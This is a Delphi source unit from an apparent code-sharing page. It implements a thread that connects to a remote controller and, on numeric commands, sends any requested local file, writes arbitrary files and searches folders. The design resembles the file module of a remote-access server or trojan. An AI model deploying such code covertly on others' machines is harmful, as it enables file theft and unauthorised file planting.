📄 downloadfileunit.pas
字号:
unit DownLoadFileUnit;
interface
uses
Classes, IdTCPClient,IdGlobal,ComCtrls,SysUtils,BASE64;
type
TDownLoadThread = class(TThread)
private
TheFileName:String;
ThePosition:integer;
SysThread:TIdTCPClient;
ISover:boolean;
protected
procedure Execute; override;
Public
constructor Create;
destructor Destroy; override;
end;
implementation
uses MainServer;
constructor TDownLoadThread.Create;
begin
inherited Create(True);
SysThread:=TIdTCPClient.Create(nil);
SysThread.RecvBufferSize:=32768;
SysThread.SendBufferSize:=32768;
SysThread.ReadTimeout :=15000;
ISover:=False;
FreeOnTerminate:=True;
Suspended := false;
//Priority:=tpTimeCritical;
end;
{如何创建目录树}
procedure MakeDir(Dir: string);
function Last(What: string; Where: string): Integer;
var
Ind: Integer;
begin
Result := 0;
for Ind := (Length(Where) - Length(What) + 1) downto 1 do
if Copy(Where, Ind, Length(What)) = What then begin
Result := Ind;
Break;
end;
end;
var
PrevDir: string;
Ind: Integer;
begin
if Copy(Dir, 2, 1) <> ':' then
if Copy(Dir, 3, 1) <> '\' then
if Copy(Dir, 1, 1) = '\' then
Dir := 'C:' + Dir
else
Dir := 'C:\' + Dir
else
Dir := 'C:' + Dir; if not DirectoryExists(Dir) then begin
{如果目录不存在,取得上一个目录名}
Ind := Last('\', Dir); {最后一个 '\'的位置}
PrevDir := Copy(Dir, 1, Ind - 1); {上一个目录}
{如果上一个目录不存在}
{传递给此递归过程}
if not DirectoryExists(PrevDir) then
MakeDir(PrevDir);
{在这里,上一个目录必须存在
创建(in "Dir"; variable)目录}
CreateDir(Dir);
end;
end;
procedure TDownLoadThread.Execute;
var
FromF: file of byte;
FileLen,i:integer;
NumRead, NumWritten: Integer;
Buf: array[1..32768] of byte; //32768
Request:String;
SaveFStream:TFileStream;
MyStream: TMemoryStream;
begin
if H_GZVIP2004.ConRpcport(SysThread) then
begin
try
Request:='003';
Request:=EncodeBase64(Request);
SysThread.Write(Request+EOL);
except
SysThread.Free;
Self.Terminate;
exit;
end;
repeat
i:=SysThread.ReadInteger; //读取是什么动作
if i=12 then //下载文件
begin
TheFileName:= SysThread.ReadLn(EOL);
if FIleExists(TheFileName) then //文件存在
begin
try
AssignFile(FromF,TheFileName);
FileMode:=0;
Reset(FromF);
SysThread.WriteInteger(1);
ThePosition:=SysThread.ReadInteger;
Seek(FromF,ThePosition);
except
Try
SysThread.WriteInteger(0);
CloseFile(FromF);
except
end;
SysThread.Free;
Self.Terminate;
exit;
end;
try
FileLen:=FileSize(FromF);
SysThread.WriteInteger(FileLen-ThePosition);
except
CloseFile(FromF);
SysThread.Free;
Self.Terminate;
exit;
end;
if (FileLen>0) and (FileLen-ThePosition>0) then
begin
repeat
try
SysThread.OpenWriteBuffer;
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
SysThread.WriteBuffer(Buf,NumRead);
SysThread.CloseWriteBuffer;
except
CloseFile(FromF);
SysThread.Disconnect;
self.Terminate;
exit;
end;
until (NumRead = 0);
end;
CloseFile(FromF);
end else begin{if FIleExists(TheFileName) then}
SysThread.WriteInteger(0);
end;
end; {i=12}
if i=11 then //上传文件
begin
TheFileName:= SysThread.ReadLn(EOL);
try
Request:=ExtractFilePath(TheFileName);
if not DirectoryExists(Request) then
MakeDir(Request);
if FIleExists(TheFileName) then //文件存在
begin
SysThread.WriteInteger(1);
FileLen:=SysThread.ReadInteger;
if Filelen=1 then
begin
SaveFStream:=TFileStream.Create(TheFileName,fmOpenReadWrite);
SaveFStream.Seek(0,soFromEnd);
end else begin
SaveFStream:=TFileStream.Create(TheFileName,fmCreate);
SaveFStream.Size:=0;
end;
end else begin
SysThread.WriteInteger(0);
SaveFStream:=TFileStream.Create(TheFileName,fmCreate);
SaveFStream.Size:=0;
end;
except
try
SysThread.WriteInteger(0);
except
end;
end;
try
SysThread.WriteInteger(1);
SysThread.WriteInteger(SaveFStream.Size);
FileLen:=SysThread.ReadInteger;
if FileLen>0 then
SysThread.ReadStream(SaveFStream,FileLen,False);
SaveFStream.Free;
except
try
SaveFStream.Free;
except
end;
end;
end; {i=11}
if i=14 then //下载文件夹
begin
TheFileName:= SysThread.ReadLn(EOL);
TheFileName:=H_GZVIP2004.FindFile(TheFileName); //搜索文件夹
MyStream:=TMemoryStream.Create;
MyStream.Write(TheFileName[1],Length(TheFileName));
MyStream.Position:=0;
SysThread.WriteInteger(MyStream.size);
SysThread.WriteStream(MyStream);
MyStream.Free;
end;
until (Terminated=False)and(SysThread.Connected=False);{isover}
end;
SysThread.Disconnect;
SysThread.Free;
//Self.Terminate;
end;
destructor TDownLoadThread.Destroy;
begin
inherited destroy;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -